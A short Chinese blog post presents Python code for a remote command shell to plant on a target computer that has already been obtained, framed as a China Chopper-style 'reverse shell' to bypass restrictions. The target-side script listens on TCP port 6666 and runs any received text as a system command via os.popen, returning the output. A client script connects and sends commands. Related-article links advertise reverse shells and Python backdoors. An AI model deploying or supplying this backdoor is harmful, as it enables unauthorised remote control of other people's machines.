python模拟菜刀反弹shell绕过限制【推荐】
2019-06-25 14:32
381 查看
有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell
主要用到python os库和sokect库
这里的服务端在目标机上运行
from socket import * from os import * s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 while True: sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号 print ('客户端:',addr) while True: cmd=sock.recv(1024)#缓存长度 接收传递过来 cmdstr=cmd.decode() if cmdstr=='exit': print ('客户端:',addr,'关闭') sock.close() break result=popen(cmdstr).read() sock.send(result.encode()) s.close()
本机运行
from socket import * from os import * c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 c.connect(('127.0.0.1',6666))#连接地址 while True: cmd=input("cmd:") c.send(cmd.encode())#必须传递流 if cmd=='exit': c.close() break data=c.recv(1014) print (data.decode())
总结
以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!
您可能感兴趣的文章:
相关文章推荐
- C++/Php/Python 语言执行shell命令的方法(推荐)
- 基于python的新浪微博模拟登陆 推荐
- 配置Nutch模拟浏览器以绕过反爬虫限制
- Linux下NC反弹shell命令(推荐)
- python调用shell命令小结 推荐
- python结合shell查询google关键词排名 推荐
- 我非我同学的python的反弹shell的代码
- python c/s模式下的内存监控模拟代码 推荐
- shell+Python实现简单的链路监控 推荐
- 查看Linux服务器网卡流量小脚本shell和Python各一例 推荐
- python之cookie, cookiejar 模拟登录绕过验证
- Python实现模拟时钟代码推荐
- Python 反弹shell后门用51CTO Blog绑定
- Python 反弹shell后门用51CTO Blog绑定
- python 反弹shell,加了UDP
- python模拟shell
- python 反弹shell
- 【Shell/Python】CentOS 6.X 系统初始化生产脚本 推荐
- 基于Python的HTTPS协议模拟登陆+爬取页面 推荐
- python实现netcat(文件传输、反弹shell)